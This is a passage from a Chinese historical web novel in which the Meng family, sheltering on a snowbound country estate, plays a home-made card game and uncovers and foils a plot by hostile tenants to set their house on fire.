接下来,阿沅看到了让她终生难忘的一幕:仿佛有无数双透明而灵巧的大手,在空气中同时动作!它们从袋中取出金灿灿的稻种,以专业得不能再专业的姿势,将种子均匀地、恰到好处地撒播进刚刚备好的湿润田地里。
那动作行云流水,精准无比,比最熟练的老农还要老道,比无人机还要快速均匀。转眼之间,规划好的四亩、三亩、三亩土地,均已播种完毕,种子没入湿润的泥土,只留下规整的田垄和淡淡的希望气息。
孟沅站在原地,看着这自动化、精准化到极致的“播种仪式”,忽然想起自己刚才还打算用她的小陶罐,一点点搬运,再累断手地撒播……小脸不由得一红,心里暗暗啐了自己一口:“孟沅啊孟沅,你可真是傻到家了!”
看着眼前这片已经孕育着希望的田野,心里那点不好意思瞬间被无边的感激和赞叹取代。她对着这片似乎有灵性的空间,真心实意地、大大地竖起了她小小的拇指。
要是这空间真有意识,是个人形,她一定会扑上去,狠狠抱住,然后在那想象出来的脸上“吧唧”亲上一大口!
……
京城里,这个年过得最糟心的确实就是安平侯府。
府门前那几盏红灯笼,到了初一才迟迟挂出,颜色虽是正红,却透着一股子潦草的意味,像是匆忙间从库房角落里翻出来的旧物。烛火在里面晃晃悠悠燃了半宿,不知何时就悄无声息地灭了,竟也无人察觉,更无人去添换。
那黑沉沉的灯笼就那般悬在寒风里,缎面被风吹得扑簌作响,衬得门庭愈发冷清寥落,过往行人偶尔瞥见,心里都难免嘀咕一句这侯府的光景怕是大不如前了。
但是,倒霉归倒霉,贵妇圈里对着他们家的闲话也如同春日柳絮,纷纷扬扬,总离不开“败落”、“治家无方”、“遭了天谴”这几个字眼。
然而,世事难料,这些窃窃私语与明里暗里的嘲讽,竟像隔了一层看不见的罩子,丝毫未能影响那位在众人眼中既无功名又无毫无建树的孟二泉升官。
年节的气氛刚淡下去,一纸任职喜报便像投入静潭的石子,在这不大不小的圈子里荡开了涟漪。虽则仍旧是个无甚实权的闲职,只是从那正六品提到了从五品的员外郎,但这半级的擢升,在此刻安平侯府的低迷境况下,已足够令人瞠目咋舌,私下里猜测其中关节的人不知凡几。
这消息如同一声意外的锣响,让二房一家和老太太瞬间从年下的萎靡中惊醒过来。
他们先前恰似一群刚被阉割、垂头丧气的公鸡,此刻却被这突如其来的“喜讯”狠狠打了一剂鸡血,那颓败的气息一扫而空,腰杆子不知不觉又挺直了,眼神里重新燃起了光,仿佛连日来的阴霾不过是场幻梦,一下子又恢复了往日的元气与心气。
孟怀堂借着这阵东风,似乎彻底忘却了年前在书院的种种窘迫,如同竹笼里那只曾经斗败、瑟缩许久的蝈蝈,一旦感觉到笼外气温回暖,便又迫不及待地鼓噪起翅膀,在书院那方小天地里重新上蹦下跳起来,言谈举止间,似乎又找回了身为侯府公子的底气。
孟绫也是如此,年前那种自觉抬不起头、恨不得终日缩在闺房绣楼里的羞惭,被父亲升迁的消息冲刷得干干净净。她开始频频出门,在相熟的贵女圈子里走动,言语神态间不免带上几分扬眉吐气的耀武扬威,急切地想从他人的反应中寻回那曾经摇摇欲坠的存在感与体面。
才刚过了二月,春风尚未彻底吹软柳枝,孟二泉的后院又起波澜。出乎许多人预料,他并未如外界猜想那般直接将红姨娘抬了身份,而是以颇为正式的礼节,娶进了一位平妻焦氏。
发妻尚在,自然算不得续弦,这“平妻”的名分,多少有些勉为其难、权衡折中的意味。其中一层,是为了顾全老太太娘家那边的颜面;另一层,则是考虑到孟怀堂与孟绫这一对嫡子嫡女终究是摆在眼前的,总要摆出些看重嫡系、不忘根本的姿态,给外人,也给族里一个说得过去的交代。
这场婚事办得不甚张扬,却足以让府内府外的人再次品咂出这安平侯府二房院内,那微妙而复杂的气息,感叹这一家主子的生性凉薄。
第55章 我不急,急的是他们。
“孟大人身体日渐好转,看着应有站起来的那一日,不可能总是呆在庄子里。可是打算灾后回府?”
不知不觉,杨大儒在嘉禾庄已住了近三个月,也做了孟怀瑾两个多月的先生,闲暇时常来与孟大川聊聊天下大势、家常理短。这一日,窗外春寒未褪,他捧着温热的茶盏,终是心无旁骛地问出了这句盘旋已久的话。
即便孟大川从未明言,以杨大儒的阅历与敏锐,这数月间也早已品味出内里的不寻常。主子住的这小院,表面看去宁和静谧,仆从举止也似与寻常人家无异,但自年节至今,从主子到下竟无一人提及安平侯府半句,仿佛那京城里的高门大院与这庄子隔着山海,全无瓜葛。
庄中护院护卫,行动坐卧皆带章法,隐隐是行伍气象;便是贴身伺候的奴仆,步履间也透着利落劲,绝非泛泛。
孟大川父子用药更是谨慎万分,除却夫人与她那两个沉稳的贴身丫鬟,旁人一概不得经手。再看这庄子如今守得如铁桶一般,若说只为防范灾民,杨大儒是断然不信的。
就连那不满四岁的小阿沅,也机灵得紧,口风严实。她看似童言无忌,东问西说,可一触及家中之事,便像捂着宝贝的小兽,多问两句,她就眨巴着那双乌溜溜、满是懵懂的大眼睛,一副全然听不懂你在问什么的模样,叫人又好笑又无奈,实在可爱得紧。
“爹爹不肥(回)!要肥(肥)先生叽叽(自己回)。”正把玩着被角里揪出的一小团棉絮、埋头“忙碌”的阿沅,听到问话,小脑袋都不抬,便脆生生地替爹爹回了过去,语气那叫一个理所当然。
似乎怕先生不信,她又用力点了点小脑袋,补充道,每个字都咬得认真:“爹爹种地,收娘(粮)食。”仿佛在她的小世界里,爹爹种地收粮便是天底下最要紧、最正经的事。
“阿沅不得无礼。”孟大川轻斥,手掌在她的小屁股上不轻不重地拍了一下,算是惩戒。阿沅立刻嘟起了花瓣似的小嘴,圆鼓鼓的脸颊写满委屈,却还是梗着脖子坚持:“不肥,娘亲不肥,嘚嘚也不肥。”小身子还往爹爹身边靠了靠,寻求同盟,生怕他反悔。
“种地?孟大人这是要解甲归田?”杨大儒诧异更甚,从这小人儿斩钉截铁的态度里,第一次清晰感觉到了她对侯府那份毫不掩饰的排斥。
“也不是不可。”孟大川唇角微扬,锦被下的右脚轻轻动了动,感受着日渐复苏的力量,另一只手慈爱地揉了揉女儿细软的头发,朗声笑道,“习惯了,觉得庄子挺好。冬日最难熬的都快过去了,夏日此处正好避暑,老北也说,这庄子最是适宜将养身子。”
他目光转向杨大儒,笑意温和却带着不容置疑的邀请,“先生若是不嫌弃,便安心留下,待到我儿考取了功名,我们再一同回城也不迟。”
“那……”杨大儒抚须,作深思状,既未点头也未摇头,目光却更深了些,缓缓问道,“那……侯府的爵位?”
孟大川眼眸中的笑意微沉,视线投向窗外不知名的远方,声音平静无波,却字字清晰:“本官若是不死,着急的,便是他们。”大康朝那不成文的规定——传长不传幼,传嫡不传庶,如无形枷锁,亦如磐石根基,他心知肚明。
“倒是大人想得通透。”杨大儒摸着花白的胡子,长长一叹,目光落回又对爹爹一缕长发产生兴趣、正试图编个小辫子的阿沅身上,眼中泛起一丝温情与决断,“老夫求之不得。倘若他日真有变故,将我这把老骨头埋在这庄子里,便是归宿。”
“那您可得好好活着,”孟大川闻言,方才的沉郁一扫而空,大笑起来,笑声驱散了室内的凝重,“本官不怕刀枪无眼,却最忌文人的口诛笔伐。杨先生莫要给我太多气受才是。”
阿沅近日里寻着了一样顶顶有趣的新乐子,缠着哥哥给她做了一套“接龙牌”。这牌可不一般,是她凭着记忆里扑克牌稍作改良,用三岁小娃的语言说给哥哥听的。
统共一百张,分作二十样花色,每样五张,上头画的不是什么复杂图案,不过是三五只憨态可掬的小猫小狗,或是几簇疏密有致的兰草梅花。
东西虽简单,玩法却巧妙——将牌分匀了,每个人轮流出牌接成一条“长龙”,谁出的牌与前面龙身上的某一张相同,便能将相同两张牌之间的所有牌都“吃”进自己手里。
这般眼疾手快的游戏,孟沅前世从小玩到大,乃至参加工作后,偶有闲暇仍与同事们玩上几局,总是乐趣无穷。
她先是央求哥哥,又软磨硬泡地教会了爹爹、娘亲和哥哥。爹爹起初捋着胡须,摇头笑她“小孩子把戏”,可玩了两局后,竟也凝神屏气,眼睛紧紧盯着牌面,生怕错过了截龙的机会。娘亲性子温和,出牌总是不紧不慢,却也渐渐露出孩子般的好胜神色。哥哥最是促狭,有时故意慢吞吞出牌,惹得阿沅着急跺脚,他才大笑着把牌放下。
很快,三个丫鬟和莲子也被吸引了来,屋里屋外,常常响起阵阵惊呼与欢笑,引得院子里的小厮和丫鬟也忍不住探头张望。
这日午后,阳光透过窗棂洒在暖炕上,阿沅正与莲子和红袖玩牌。长长的牌龙末端正有一张相同的,阿沅立刻伸出小短手,急急叫道:“截龙!这些都归我啦!”说着就要将那一叠牌揽过来。
本应轮到自己出牌的莲子却不干了,她按住牌,笑着指向中间另一张牌:“小姐您看,这‘两只花猫’的牌在这呢,按规矩,是我先取牌。”
阿沅小脸顿时垮了下来,知道自己心急了,也操作违规。可她眼看着到手的“战利品”飞了,嘴一扁,忽然就把手里的牌往炕上一撒,身子一扭,背对着众人嚷道:“泥……泥们欺负人!这张牌明明先在这里的!是泥们弄乱了!窝不玩啦!”
她声音里带了浓浓的鼻音,眼眶也霎时红了,可眼角余光却偷偷瞟着众人的反应,一只小手还悄悄按在牌上,生怕被人收走。那副明明耍赖却又心虚的小模样,活像只偷油不成反委屈的小老鼠。
旁边凑热闹的柳氏的忍俊不禁,忙将她搂过来,顺着她的小背心哄道:“好好好,我们阿沅最厉害。来,这把都不算,重新来过。”
阿沅这才吸吸鼻子,转回身来,一边把撒出去的牌扒拉回自己面前,一边还嘟囔着:“那……那要重新分牌哦。”马上恢复了,眉开眼笑。
这牌戏实在简单又引人入胜,极易让人投入,也难免在输赢间生出些小小口角。尽管大家都心照不宣地让着年纪最小的阿沅,可阿沅的哥哥有时赢得兴起,故意逗她,难免“杀伐果决”,不留情面,惹得阿沅又气又急,院子里便时不时飘出“你耍赖!”“才没有!”的清脆争吵声,夹杂着欢笑,热闹得紧。
这热闹景象,院里的婆子丫鬟小厮们瞧在眼里,心痒难耐,便也寻些硬纸壳,依样画葫芦地做了些虽粗糙却实用的接龙牌,得了空闲便三五成群地玩起来。这风气像长了脚似的,渐渐从宅院里传到庄子中,佃户人家也学会了这趣致玩法。
漫长的冬日与严寒的雪天,就在这般吵吵嚷嚷、热热闹闹、生机盎然的氛围中,悄无声息地向后溜去。
第56章 半夜磨刀
三月初的雪,依然纷纷扬扬,细密如筛下的盐粒,又似扯碎了的棉絮,没完没了地从铅灰色的天幕往下倾洒,丝毫没有要停歇的迹象。
这般绵长的春雪,确是百年不遇的奇景,也成了压在人心头的一块冰。
因着这密不透风的雪幕,加上庄子里外严密的防护,又着实处置了几个不安分的刺头,孟沅本以为,里的一些腌臜事,今生或许能避开了。
可时空无论如何倒转,人心底里的那点东西,仿佛刻在了骨头上——好人终究坏不到哪里去,而该是坏胚的,也依然是坏胚,有些该来的风雨,似乎总要寻个缝钻进来。
“十五哥!十五哥!”一声压低了却透着焦急的呼唤,穿透细雪的簌簌声传来。若不是清楚自己领着的这七八个巡防佃户里,绝无第二个叫“十五”的,十五几乎要以为是自己熬了一夜,耳朵出了毛病。
天刚擦亮,灰蒙蒙的,四野寂静,哪来的鬼妹妹这般喊他?
“干嘛出来吓唬人?”一个身影猛地从路旁半塌的雪堆后跳出来,拦在他面前。
那姑娘穿着灰扑扑的大棉袄,脸色却比旁人还要暗沉两个度,几乎融进未褪尽的夜色里,乍一看,还真像雪地里蓦地冒出个鬼影子。十五被她惊得后退半步,没好气地呵道。
“哟,老弟,是黑丫!准是瞧上你了!”旁边一个年长些的佃户立刻认出来人,挤眉弄眼地打趣。后面跟着的汉子们本已困倦,闻言都哄笑起来,寒夜的疲乏似乎被这玩笑驱散了些。
黑丫立刻涨红了脸——尽管在那黑瘦的面皮上不大显。她二话不说,蹲下身飞快团了个结实的雪球,直起身“嗖”地朝那打趣的佃户掷过去,动作又快又准:“让你再满嘴胡吣!小心真见了鬼,半夜敲你家门!”
雪球正中那人肩头,炸开一团白。众人笑得更欢,被砸的佃户也不恼,拍掉雪沫,跟着大伙儿嘻嘻哈哈。
笑闹过后,疲惫重新涌上,众人各自散去,忙活一整夜,此刻只想赶紧回家,钻进热被窝睡个昏天黑地。
十五自然也认出了黑丫。这段日子召集佃户巡庄,成效不错,虽有过两拨灾民试图冲击,都只是摸到庄子边就被打跑了。
按照大伙儿的提议,黑丫和她二叔婆主动揽下了半夜给巡防队做顿热乎加餐的活计,一来二去,也算熟人了。
“什么事?”十五一身寒气,满脸倦容,眼下一片青黑。这会儿,他满心只想快点回到院里,吞下两个滚烫的肉包子,然后倒头睡到天黑地暗。
“是大狗和二赖子,”黑丫凑近了些,声音压得更低,带着寒气,“恐怕要生事。二叔婆让我赶紧来跟您说一声。”听到这两个名字,十五的脚步像是被雪冻住了,倏然顿住。
他脸上的困倦瞬间被锐利取代,目光严肃地投向黑丫:“怎么说?”
当初动员佃户加入巡防,庄头列出的青壮名单里,就有大狗和二赖子这兄弟俩——他们是陈婆子的儿子。可这二人偏偏梗着脖子不配合,口口声声说宁可饿着肚子躺着发懒,也不屑去挣那“区区三斤粮食”,语气里竟还带着莫名的底气。
提起这家人,庄子里不少人都憋着气,私下都说若真有事,最先该扔出去的就是他们。
如今,他们竟想生事?
“千真万确!”黑丫见十五重视,说得更急,“二叔婆家挨着他们院子近,看得真真的!前晚开始,那兄弟俩就躲院里,‘嚯嚯’地磨柴刀、磨斧头!”
她生怕十五不明白利害,又急急补充,“谁家没事干,大冬天黑灯瞎火地磨这个?指定憋着坏呢!十五叔,您可得管管,不能让他们祸害了咱庄子!”
“知道了。”十五的脸色沉了下来,语气硬邦邦的,“你先回去。这事,别跟其他人嚼舌头。”
懒惰成性的人忽然勤快起来,不是心里憋着坏水,就是被什么好处催动了。想到此节,十五的神情异常凝重。
嘉禾庄子大,除了正门和四角砌了砖石围墙,其余地段多是靠着密植的荆棘丛当屏障。这大冬天,万物凋零,叶子落尽,那些荆棘墙变得稀疏透亮,外面能把里头看得一清二楚。上次灾民想冲进来,打头阵用的就是柴刀斧头,专砍这些荆棘障子。
黑丫瞥了他一眼,像是恼他这硬邦邦的态度,转头就要走,还丢下几句负气的话:“我能那么笨?不然刚才早当着大伙儿面嚷嚷开了!倒是你,上点心吧!别等出了事抓瞎!”
“你,站住。”十五被她这态度弄得有些恼火,低声喝道。
“干嘛?话也说完了,还不叫人走了?”黑丫猛地转回身,瞪圆了眼睛,语气同样不善。她直觉跟这十五犯冲,这人总板着张脸,本来就瘦,再配上那线条硬朗、略显狭长的脸型(在她看来就是“鞋拔子脸”),怎么看怎么不顺眼。
“你家……可有半大小子?”十五的语气稍稍缓和了些,但依旧谈不上好听。
黑丫立刻叉起了腰,一脸警惕加挑衅:“当然有!怎么?想练练?”那架势,活像护崽的母鸡。
“先要两个人,盯着那兄弟俩。”十五没理会她的脾气,在他眼里,这黑丫头片子咋呼起来也不够一碟菜。他此刻只想尽快布下眼线,若用巡防队的人,容易打草惊蛇,也没有小孩方便。
见黑丫瞪着眼,满脸不解,十五以为她是在讲条件,便干巴巴地补充:“也可以分粮食。”
“……”黑丫一愣,随即明白过来,这是把盯梢的差事交给了她家!这等“好事”……她立刻想到家里那两个整天闹腾着想跟巡防队出去“干大事”的弟弟,脸上瞬间阴转晴,眉开眼笑地往前凑了几步。
“有!一个九岁,一个十一,皮是皮了点,可机灵着呢!守人盯梢,保准没问题!”
“让他们耳朵也机灵着点,听听那家子都说些什么。”看到这黑瘦姑娘忽然变脸,热切地往自己跟前凑,十五有些不自在地退开半步,丢下这句话,转身就朝着主子所住的大院方向,深一脚浅一脚地在雪地里跑了起来。
这会儿,该值守的早已到位,该补觉的也已歇下。事情透着蹊跷和紧急,十五没打算等孟柒老大起身转达,而是决定直接去禀报主子。
第57章 雪停了
四月初,老天爷终于收起了那副严酷的面孔,连续三个多月没日没夜飘洒的雪花总算停了。
接连三日的晴好,让那轮久违的太阳显出了十足的威力,金灿灿的阳光普照下来,庄子里原本厚实如棉被、坚硬如白玉的积雪,表面渐渐开始变得濡湿、松软,边缘处悄然化开,滴滴答答地淌下晶莹的水线。
整个庄子,仿佛从一个漫长而寂静的银白梦境中,缓缓地、打着哈欠苏醒过来。
庄子那两扇沉重的榆木大门依旧紧紧闭着,日夜巡防的护卫们脚步也未停歇,但庄子内部的人心,却像那解冻的溪流,一下子“活”了过来,压抑了整个冬日的沉闷被一扫而空。
溪角的几株老柳树,枝条虽还光秃,但细看之下,已然鼓起了一粒粒嫩黄的芽苞,透着股蓬蓬勃勃的初春生气。
“都听好了!地虽还冻着,不能立马下田,可耽误了这么些时日,功夫不能再拖!庄子里所有道路,必须尽快清理出来,人要走,车要通!各家各户的犁耙、锄头、镰刀,都给我拿出来仔细检看,该修的修,该磨的磨,别等到要用的时候抓瞎,那可就晚了!”
林庄头天刚亮就起了身,手里提着一面锃亮的铜锣,“哐哐哐”地敲得震天响,中气十足的嗓门传遍了庄户聚居的角落。他将各家主事的男人召集到打谷场,叉着腰,一条条、一件件地分派活计,黝黑的脸上因激动而泛着红光。
经他这一吆喝,庄子里沉睡的力量仿佛瞬间被唤醒,到处都是应和声与匆忙的脚步声。
大院里的人也不遑多让。丫鬟们挽起袖子,露出冻得微红却干劲十足的手腕,婆子们呼喝着指挥,小厮们更是甩开了膀子,用木锨、簸箕,将院子里堆积如小山的厚雪一筐筐、一车车地往外清运。
院门自然是大敞开了,清新的、带着冰雪凉意与泥土腥气的风直灌进来,让人精神为之一振。
“走!我们到外面玩去!”阿沅早就按捺不住了,见状小手用力一挥,兴奋得小脸通红,连说话都比平日更利索清晰了几分。她被拘在屋里整整一冬,此刻如同出了笼的小鸟。
“外头雪正化着呢,地滑得很,积雪反光也伤眼睛,你们仔细照看着小姐,在阴凉的地方玩一会儿就回来,不许走远。”柳氏细细叮嘱着跟出去的红袖她们。
她自己也实在被闷坏了,吩咐人将孟大川安稳地移到新制的轮椅上,将丈夫缓缓推出了院门,呼吸着久违的清冽空气。
“夫人放心,定护小姐周全!”得了准许,绿果、红豆和莲子几人欢喜地应了,如同得了赦令般,簇拥着跃跃欲试的阿沅,一阵风似的冲了出去,在尚且泥泞的雪地上留下一串杂乱的脚印和清脆的笑声。
“怀瑾,读死书无益,今日天气难得,且随老夫出去走走,观万物复苏,亦是一课。”就连一向持重的杨大儒,望着窗外截然不同的热闹景象与初融的雪景,也忍不住放下手中的书卷,捻须对孟怀瑾说道。
“是,先生。”孟怀瑾虽是嗜书,到底只是个十四岁的少年,心性里自有向往活泼的一面,闻言立刻放下书卷,眼中闪着光,恭敬地搀起先生,也步入了这熙攘的春光里。
然而,与这表面的生机盎然截然不同,大门外轮椅上的孟大川,目光沉沉地扫过庄子里大片空旷的、正在融化的雪地,竟有几分恍如隔世之感。
他修长的手指在轮椅扶手上轻轻叩击两下,仿佛敲在无形的战鼓上,低声对身侧看似无人的空气吩咐:“趁那家人都出门忙活或看热闹的当口,将他们住的屋子仔细搜检一遍。我估摸着,就这几天,他们怕是要有动作了。”
略一停顿,他又补充道:“庄子外头,也加派两个机灵的护卫,隐在暗处盯着,看他们是否与外界有联络。”
自从知晓大狗和二赖子偷偷磨利了斧头柴刀,监视便未曾松懈。可十几天过去,只发现这两人有两晚鬼鬼祟祟溜出来,却只是在靠近庄子边缘一处极为僻静的荆棘丛里,向外砍斫,弄出了一个极难察觉、仅比狗洞稍大些的缺口,人却并未钻出去。
他让护卫们刻意维持着这“狗洞”未被发现的假象,但同样,也未见有外人从此潜入,更未从大狗一家平日的闲谈咒骂中听出什么明确的阴谋端倪。
难道之前的猜测全然错了?这种敌暗我明、长期僵持,无法掌握主动的局面,不仅让孟大川感到如鲠在喉,对于在战场上习惯冲锋陷阵、速战速决的孟柒等人来说,更是一种难耐的煎熬,焦躁的情绪已在悄然蔓延。
绝不能这般被动地守株待兔。孟大川眼神一凛,决心主动破局。
“是,大人!”孟柒的回应短促而坚定,身影微动,便已悄无声息地融入忙碌的人群背景中,仿佛一滴水汇入了溪流。
“阿九,”孟大川又唤,指着远处那片藏有“狗洞”的荆棘丛方向,“你去知会林庄头,清理出来的积雪,不必随意堆放,除了那里,全部运到荆棘丛下,给我堆实。”
他特意强调,“除了他们弄出洞口的那一小片,其他方位的荆棘丛下,都要用雪堆挡起来。”
“是!大人!”阿九领命,快步离去。
直到阿九的身影也消失,一直静静站在轮椅后方,听着丈夫一道道安排的柳氏,才轻声开口,语气中带着犹疑与忧惧:“夫君是认为……二房那边,仍不肯罢手,还要对我们不利?”
“夫人以为,他们费了这许多周折,目的未遂,便会轻易善罢甘休么?”孟大川反手,准确地在肩头握住妻子微凉的手,力道沉稳,带着令人安心的温度,眼神锐利如刀,“我们若存此侥幸,便是将咽喉送到对方刀下了。”
“可如今路上的积雪尚未化尽,京城方向定然无法通行车马……”柳氏的忧虑也是常理,雪封道路,京城的人出不来,不仅是她,恐怕庄子内外大多数人都是这般想的。
“夫人再细想想沅儿那个梦,”孟大川手上微微用力,将柳氏拉到自己身侧,迫使她正视自己,“他们想让我们绝户,那是环环相扣的死局。有些棋子,恐怕早就埋在了我们身边,未必需要等京城来人。”
他见妻子眼中惊悸更深,缓了缓语气,但依旧坚定,“即便此次是为夫猜错了,也不过是白费些防备的功夫。可若是猜对了……”未尽之言,让两人之间的空气都凝重了几分。
第58章 那就让那把火燃的更大
不到一盏茶的功夫,孟柒便去而复返,带回了搜查的消息:“大人,屋内仔细查过,并无特别异样的物事,也未发现新增什么东西。”
他语气里带着一丝不易察觉的泄气,但随即话锋一转,神情变得严肃起来,“不过,有一处蹊跷。因今冬我们发放的炭火充足,各家各户年前备下的柴火大多没怎么动用。如今天放晴,大家将屋角的柴火搬出来晾晒本是常事。
可大狗那一家,懒散出名,竟也搬了不少柴火出来,这本身已属反常。更怪的是,他们不在自家院前宽敞处晾晒,偏生挑了些看似干燥的柴捆,鬼鬼祟祟往田埂上搬,也不怕被人顺手牵羊。”
孟大川的眼睛眯了起来,闪过一丝寒光。他手中的柳氏明显哆嗦了一下,指尖冰凉。阿沅梦中那场吞噬一切的大火,只有他们夫妻二人深知其怖,连儿子孟怀瑾都未曾告知,更遑论属下。此刻听到“柴火”,若不是刻意让人盯住陈婆子一家一家,根本就不会往深处想。
“挑来的柴火……是靠近我们这边?”孟大川的声音低沉下去,带着洞悉的冷意。
孟柒脸上露出讶异之色:“大人料事如神!他们晒的柴火,正是晒在靠近我们后墙不远的田埂上!”
他不由得对大人的判断更加信服,接着道,“这家人占便宜没够,专盯着附近几户的柴垛子,怕是偷拿了不少混在里面,晒的时候被人撞见,陈婆子还跳着脚跟人对骂,死活不认。”
柳氏的手猛地收紧,指甲几乎掐进孟大川的手背。孟大川安抚地拍了拍她的手背,嘴角却勾起一抹冰冷而果决的弧度:“无妨,既然‘姑姑’(指阿沅的梦)提前给了警示,我们便不能辜负。他们想借这把火?那正好,我们便顺势将计就计,把这火烧得更旺。”
“孟柒!”他放开柳氏的手,招孟柒附耳过来,声音压得极低,语速快而清晰,一道道指令流水般传出,“今晚开始,你这样安排……记住,务求自然,不着痕迹。”
“还有,”他略一思忖,继续部署,“待雪化路通之后,我们便如此这般……”
孟柒凝神静听,眼中最初的不耐与困惑逐渐被凛然与跃跃欲试的精光所取代,他重重点头:“属下明白!定不负大人所托!”
阳光依旧暖暖地照着冰雪开始消融的庄子,孩童的嬉笑声隐隐传来,柳枝的嫩芽在风中微微颤动。
然而,在这片看似平和、充满希望的初春图景之下,一股冰冷的暗流已然开始加速涌动,一张反制的大网,正随着孟大川的指令,悄无声息地、严密地铺开。真假虚实,扑朔迷离,只待那关键一刻的到来。
扎了几个月的马步,又吃了那么多暖身的锅子,阿沅没见长个,脚劲实实在在地增加了不少,跑跳起来也稳了不少。
这一整天,她们都跟庄子里的孩子们玩在一处,笑声脆生生地洒在雪地里。
上午,他们从结冰的小溪边边将凿下的寒冰嘿咻嘿咻地搬回来,小手冻得通红也不在意,堆起一个歪歪扭扭却神气活现的大雪人,用青石块点了眼睛,插了根萝卜当鼻子。
随即雪团便满天飞了起来,阿沅机灵地躲闪,也不时捏了坚实的雪球反击,领口、袖笼里钻进碎雪,化作冰凉的湿意,却只觉得畅快。
只是也没能玩多久,就被绿果和红果硬拘回去换了身干爽衣裳,吃过热气腾腾的午饭,睡了个沉沉的午觉,下午她又像出笼的雀儿般跑了出去,直玩到天空不见了日头,小脸通红,浑身都透着恣意的欢腾,可说是玩得心满意足、够够的了。
晚上饱饱地吃了一顿,又被按进弥漫着草药香气的浴桶里,浸泡在滚热的水中,松快的疲惫泛上来,捞起来时已是眼皮打架,昏昏欲睡。
脑袋一沾枕头便沉入了黑甜乡,一晚上的梦境都沉醉在白日的欢声笑语与雪光冰影里,浑然不知这看似平静的庄子,已然在深沉夜色下,发生了天大的事。
“快点,拎了马上回来,别耽搁!”狗洞前,二赖子被大狗用力推了一把,又结结实实地在屁股上踹了一脚,才跌跌撞撞地朝那黑黢黢的洞口爬去。冰冷的雪水一张膝盖,透心的凉,他低低咒骂了一声。稍等了片刻,大狗那微胖的身子也费力地挤了出来,撞落顶上一堆的碎雪。
此时正是子夜换防的间隙,新一队巡防的人手都集中在大晒场那头听候吩咐,准备出发。而刚收队的那一拨,正挤在温暖的空屋里,就着灯火吸溜着香喷喷的羊肉粥,浑身舒坦。
这短暂的空白,便给陈家这两兄弟“创造”了无人察觉的时机。
两兄弟手脚并用地爬出藏身的、挂着冰凌的荆棘丛,拍打着膝盖上那早已湿透、寒意直往骨头缝里钻的裤腿,嘴里不干不净地嘟囔着种种不堪入耳的脏话,骂骂咧咧朝不远处一个影影绰绰的庄子摸去。
四下里唯有风雪低啸,他们的声音压得极低,却透着狠厉。“呸!施舍点破木炭、杂粮和人家不要的旧衣裳,就想收买咱?做他娘的清秋大梦!京城那家许下的,可是白花花的银子,还有实实在在的田庄!”
“等咱们收拾了大房那几个病秧子短命鬼,翠花和菊花……”二赖子说到二叔婆家的两个孙女,浑浊的眼睛里冒出淫邪的光,口水几乎要淌下来,“那身段……嘿嘿,我跟大哥正好一人一个,慢慢受用。”
大狗啐出一口浓痰,黄牙在昏暗中咧开:“还有谭家那个装模作样的寡妇!看老子得了势,她还敢不敢拿乔!非得叫她跪着舔鞋,自己爬上来不可!到时候咱哥俩一起,非得作践得她连声‘好哥哥’求饶不停!”
两人越说越是得意,仿佛锦绣前程和温香软玉已在眼前,完全未曾察觉,自己鬼祟的行踪、低哑的密语,早已落入暗中几双冰冷的眼睛里,一举一动,皆在他人掌控之中。
而此刻,大宅子后院的田埂上,一个佝偻的身影正在风雪中无声忙碌。陈婆子抱着一捆捆早已备下的干柴枯枝,走走停停,将它们一一归拢到大宅子高耸的墙根底下。她动作有些迟缓,却顾不上停歇。
挑完了自家备的,她竟又蹒跚着去到附近几户早已熄灯安睡的人家屋后,将他们堆放的柴火也悄悄搬来不少。那柴垛堆置得最多的,便是孟大川一家所住屋舍的后墙根位置。
柴枝交错堆积的影子,在黯淡的雪光映照下,张牙舞爪,仿佛一只蛰伏的怪兽。从一个不显眼的狗洞里,也塞进来不少木材,院内,黑暗中跟墨竹和纸槐伫立在一处的孟怀瑾,瞳孔猛然收缩。
完全没想到院子里还有内应。
……
距离嘉禾庄不过一里地的白水庄,是个不起眼的小庄子,拢共几十亩薄田,几间房舍在夜色里轮廓模糊。看见大狗和二赖子熟门熟路地摸到门前,有节奏地敲了几下,木门立刻开了一道缝,两人侧身闪了进去。
几乎是同时,两道如轻烟般的身影——隐身的孟柒和阿九——悄无声息地掠上围墙,伏在背光处的阴影里,与瓦楞上的积雪几乎融为一体。
“快点弄走,今夜就把事情办了。省得夜长梦多,惹祸上身。”一个提着昏暗马灯的黑衣人哑声催促,指了指门边一架黑乎乎的独轮车,语气满是不耐烦。
“娘的,怎么这么沉?”两兄弟凑近一看,上面扎扎实实捆着几个大陶瓮,忍不住低声骂咧起来,来时路上盘算着要汇报些庄内情况的念头,早被这突如其来的重负和催促打散到九霄云外。
“幸亏还有这破车,不然得累死爷我!”他们费力地推起车子,吱吱呀呀地没入庄外更深的黑暗。
目送他们离开,黑衣人迅速关上木门,缩了缩被寒风冻得僵硬的脖子,转身对着正屋那扇透着微弱灯光的窗户,语带抱怨:“这杀千刀的鬼天气!冻煞个人。里头这一家也是废物,这么点小事拖拖拉拉这么久,还得咱们来擦屁股。”
正屋里,灯火将一个人的影子拉得细长扭曲,投在窗纸上。一个阴森森的声音从里面飘出来,像毒蛇滑过枯草:“找个人跟进去。事情办成之后……把这一家办了,手脚干净点。”
那声音顿了顿,寒意更甚,“省得日后给主家留下麻烦。”
黑衣人眼中凶光一闪,做了个干脆的抹脖子手势,低声应和:“理应如此!这一家子,成事不足,留着的确是后患。”
寒风卷过庄院,刮得屋檐下的冰柱相互碰撞,发出细微而清脆的声响。
第59章 大火燃了一夜
夜深人静,寒风并未因为今天的太阳而有所畏惧,依然呼呼地刮,卷着残雪在墙角打旋儿。
两个黑影摸到大院墙根下的狗洞边,怀里各抱着一罐沉甸甸的桐油。那狗洞藏在一丛枯败的荆棘下,平日里野猫出入,此刻却成了祸患的门户。
两人手脚麻利,先后将桐油罐子顺着洞口往里塞,陶罐与砖石摩擦发出细微的沙沙声,在寂静中格外清晰。院子里马上有个人猫着出来接应,黑乎乎的,看不出来是谁。
外面三人一人提着一罐桐油,快步走向墙边堆积如山的柴火堆,提起罐子正要倾倒时——柴堆后、树影里、甚至积雪覆盖的草垛中,猛地扑出几道如猎豹般迅捷的黑影!那放火之人惊得桐油罐脱手,尚未落地便被一只筋骨分明的大手凌空接住。
来人动作干脆利落,捂嘴、反剪、捆缚、塞口,一气呵成,不过几个呼吸,三条“泥鳅”便被捆成了粽子,扔在雪地里,只剩惊恐圆睁的双眼在黑暗中乱转。
不多时,嘉禾庄内果然火光冲天!烈焰首先从关押过孟怀瑾的那两间厢房蹿起,火舌贪婪地舔舐着木质窗棂与茅草屋顶,噼啪爆响声中,浓烟裹着火星直冲夜空。巡防队员们远远看着,却没有一人上前救火。
